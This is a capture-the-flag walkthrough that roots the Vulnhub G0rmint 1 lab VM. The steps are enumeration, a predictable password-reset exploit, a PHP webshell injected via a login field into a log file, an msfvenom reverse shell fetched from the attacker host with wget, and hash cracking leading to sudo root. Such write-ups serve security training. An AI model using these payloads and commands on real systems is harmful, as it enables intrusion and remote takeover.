Vulnhub G0rmint 1 Writeup

This is a walkthrough of Vulnhub machine ‘G0rmint1 released on Nov 3rd, 2017. Credits to Norman Riffat for releasing this challenging VM. I imported the virtual machine in VMware Player in bridged mode itself. In this machine, we have to root the VM to gain access to “flag”.

G0rmint Server IP: 192.168.1.101
Attacker IP: 192.168.1.105

Using Nmap to enumerate the open ports

$root@kali:~# nmap -sC -sV 192.168.1.101
Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-30 20:38 IST
Nmap scan report for 192.168.1.101
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e4:4e:fd:98:4e:ae:5d:0c:1d:32:e8:be:c4:5b:28:d9 (RSA)
|   256 9b:48:29:39:aa:f5:22:d3:6e:ae:52:23:2a:ae:d1:b2 (ECDSA)
|_  256 19:c2:74:0e:fc:48:3f:38:a6:96:68:19:62:11:c2:bf (EdDSA)
80/tcp open  http    Apache httpd 2.4.18
| http-robots.txt: 1 disallowed entry 
|_/g0rmint/*
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 404 Not Found
MAC Address: 00:0C:29:1F:55:E5 (VMware)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.79 seconds

HTTP Server on Port 80 has a robots.txt file which has an entry of a web directory “/g0rmint/”. Browsing the directory using ‘curl’ shows a redirect to login.php

$root@kali:~# curl -I http://192.168.1.101/g0rmint/
HTTP/1.1 302 Found
Date: Thu, 30 Nov 2017 15:27:28 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: PHPSESSID=hiublm95029u77vpd8jcc9arq4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Type: text/html; charset=UTF-8

Browsing http://192.168.1.101/g0rmint/login.php using firefox

G0rmint Login Page

Looking at the source code, a folder named “s3cretbackupdirect0ry” was found.

g0rmint login source

Checking http://192.168.1.101/g0rmint/s3cretbackupdirect0ry/ showed nothing. So using ‘dirb’ to find hidden files or folders gave me a file named info.php

$root@kali:~# dirb http://192.168.1.101/g0rmint/s3cretbackupdirect0ry/ /usr/share/wordlists/dirb/common.txt 
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Thu Nov 30 21:22:58 2017
URL_BASE: http://192.168.1.101/g0rmint/s3cretbackupdirect0ry/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://192.168.1.101/g0rmint/s3cretbackupdirect0ry/ ----
+ http://192.168.1.101/g0rmint/s3cretbackupdirect0ry/info.php (CODE:200|SIZE:11)
-----------------
END_TIME: Thu Nov 30 21:23:01 2017
DOWNLOADED: 4612 - FOUND: 

Checking http://192.168.1.101/g0rmint/s3cretbackupdirect0ry/info.php hints at backup.zip

$root@kali:~# curl http://192.168.1.101/g0rmint/s3cretbackupdirect0ry/info.php
backup.zip

Downloading backup.zip using ‘wget’

$root@kali:~# wget http://192.168.1.101/g0rmint/s3cretbackupdirect0ry/backup.zip
--2017-11-30 22:01:08--  http://192.168.1.101/g0rmint/s3cretbackupdirect0ry/backup.zip
Connecting to 192.168.1.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3747475 (3.6M) [application/zip]
Saving to: ‘backup.zip’

backup.zip          100%[===================>]   3.57M  10.3MB/s    in 0.3s    

2017-11-30 22:01:10.3 MB/s) - ‘backup.zip’ saved [3747475/3747475]

Unzipping the backup.zip, it seems like the backup of web framework.

$root@kali:~# unzip backup.zip -d backup 

G0rmint unzip backup

There is an entry of users in the db.sql file which when tried didn’t work. Checking for entry of any other users gives user as ‘noman’ and email as ‘w3bdrill3r@gmail.com’.

$root@kali:~/backup# grep 'Author' -R .
./css/style.css:* Author: noman
./css/style.css:* Author Email: w3bdrill3r@gmail.com
./css/halflings.css: *  Author:   Jan Kovarik - www.glyphicons.com
./js/jquery.dataTables.min.js: * Author:      Allan Jardine (www.sprymedia.co.uk)

Using the credentials, reset password functionality is used.

G0rmint Password Reset

Checking the reset.php reveals that reset is being done on the basis of the date and time the password was reset.

$root@kali:~/backup# sed -n '10,20p' reset.php
    $row = $sql->execute();
    $result = $sql->fetch(PDO::FETCH_ASSOC);
    if (count($result) > 1) {
        $password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
        $password = md5($password);
        $sql = $pdo->prepare("UPDATE g0rmint SET pass = :pass where id = 1");
        $sql->bindParam(":pass", $password);
        $row = $sql->execute();
        $message = "A new password has been sent to your email";
    } else {
        $message = "User not found in our database";

Based on the reset time as ‘Thursday 30th of November 2017 04:49:17 PM’ as shown in previous figure, PHP code is written as follows to generate needed password.

<*php $resetpass = substr(hash('sha1','Thursday 30th of November 2017 04:49:17 PM'), 0, 20); echo $resetpass; *>

G0rmint Password Reset Code

Executing the code, reset password is found.

$root@kali:~/backup# php reset_code.php 
e7adca29305252ef4062

Using the password e7adca29305252ef4062 we login to the g0rmint admin panel

G0rmint Admin Panel

Checking login.php shows that failed attempts are logged in file defined in config.php

$root@kali:~/backup# sed -n 1,23p login.php
 include_once('config.php');
 if (isset($_POST['submit'])) { // If form is submitted $email = $_POST['email']; $pass = md5($_POST['pass']); $sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND pass = :pass");
    $sql->bindParam(":email", $email);
    $sql->bindParam(":pass", $pass);
    $row = $sql->execute();
    $result = $sql->fetch(PDO::FETCH_ASSOC);
    if (count($result) > 1) {
        session_start();
        $_SESSION['username'] = $result['username'];
        header('Location: index.php');
        exit();
    } else {
        $log = $email;
        $reason = "Failed login attempt detected with email: ";
        addlog($log, $reason);
    }
}

Checking code in config.php, logs are written in folder http://192.168.1.101/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/ and file named using date on which the file was generated.

$root@kali:~/backup# sed -n '15,30p' config.php 

function addlog($log, $reason) {
    $myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php";
    if (file_exists($myFile)) {
        $fh = fopen($myFile, 'a');
        fwrite($fh, $reason . $log . "
\n");
    } else {
        $fh = fopen($myFile, 'w');
        fwrite($fh, file_get_contents("dummy.php") . "
\n");
        fclose($fh);
        $fh = fopen($myFile, 'a');
        fwrite($fh, $reason . $log . "
\n");
    }
    fclose($fh);

The log files can be browsed at http://192.168.1.101/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2017-11-30.php (based on date)

Alternatively, if you have already done failed login attempts, using secretlogfile.php at http://192.168.1.101/g0rmint/secretlogfile.php, log files can be listed

G0rmint Secret logfile list

Viewing the logfiles we see email is being inserted in php file as such

Failed login G0rmint

The log file is infected with php webshell code through email input in login form.  The php webshell takes a input for the GET request parameter in cmd in base64 encoded form. To bypass the addslashes function for the POST request of email address we use $_GET[cmd] instead of $_GET[‘cmd’]

<?php echo shell_exec(base64_decode($_GET[cmd]));?>

To issue ‘id’ in php webshell, converting ‘id’ into base64

$root@kali:~/backup# echo id | base64
aWQK

Browsing http://192.168.1.101/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2017-11-30.php?cmd=aWQK

G0rmint PHP Shell

Creating a reverse shell using msfvenom

$root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.105 LPORT=443 -f elf > shell
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes

Creating base64 input to download shell into tmp folder, change permissions and execute it

$root@kali:~# echo 'wget http://192.168.1.105/shell -O /tmp/shell; chmod +x /tmp/shell;'| base64
d2dldCBodHRwOi8vMTkyLjE2OC4xLjEwNS9zaGVsbCAtTyAvdG1wL3NoZWxsOyBjaG1vZCAreCAv
dG1wL3NoZWxsOwo=

Now open python http server to host shell

$root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Browsing http://192.168.1.101/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2017-11-30.php?cmd=d2dldCBodHRwOi8vMTkyLjE2OC4xLjEwNS9zaGVsbCAtTyAvdG1wL3NoZWxsOyBjaG1vZCAreCAvdG1wL3NoZWxsOwo= in firefox downloads the reverse shell to the g0rmint system and changes permissions.

Open Netcat listener in another terminal at port 443

$root@kali:~# nc -nlvp 443
listening on [any] 443 ...

Base64 input to execute shell

$root@kali:~# echo '/bin/bash -c /tmp/shell' | base64
L2Jpbi9iYXNoIC1jIC90bXAvc2hlbGwK

Browsing http://192.168.1.101/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2017-11-30.php?cmd=L2Jpbi9iYXNoIC1jIC90bXAvc2hlbGwK in firefox gives us reverse shell

$root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.105] from (UNKNOWN) [192.168.1.101] 46152
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Escaping to tty shell,

python3 -c 'import pty;pty.spawn("/bin/bash")';
www-data@ubuntu:/var/www/html/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs$ 

While browsing files, another backup.zip was found in /var/www

www-data@ubuntu:/var/www$ ls        
backup.zip  html

Unzipping it to tmp folder

www-data@ubuntu:/var/www$ unzip backup.zip -d /tmp/backup

checking the contents of db.sql, a MD5 hash was found

www-data@ubuntu:/tmp/backup$ cat db.sql | grep noman
cat db.sql | grep noman
(1, 'noman', 'w3bdrill3r@gmail.com', 'ea60b43e48f3c2de55e4fc89b3da53dc');

Decrypting the hash at https://hashkiller.co.uk/md5-decrypter.aspx, gives password as tayyab123
Checking the users in /etc/passwd gives a mention of user ‘g0rmint’
Using user as g0rmint and password as tayyab123, SSH to target was possible.

$root@kali:~# ssh g0rmint@192.168.1.101
The authenticity of host '192.168.1.101 (192.168.1.101)' can't be established.
ECDSA key fingerprint is SHA256:A+QDYP4PRQ/yHT8YJNEE6isId6ouaX24QAp1vYf1qK4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.101' (ECDSA) to the list of known hosts.
g0rmint@192.168.1.101's password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-87-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Thu Nov 30 06:44:14 2017
g0rmint@ubuntu:~$ 

Since g0rmint is a privileged user, we gain root access

g0rmint@ubuntu:~$ sudo su
[sudo] password for g0rmint: 
root@ubuntu:/home/g0rmint# id
uid=0(root) gid=0(root) groups=0(root)

CAPTURE THE FLAG!!

G0rmint Capture the flag

Leave a Reply

Your email address will not be published. Required fields are marked *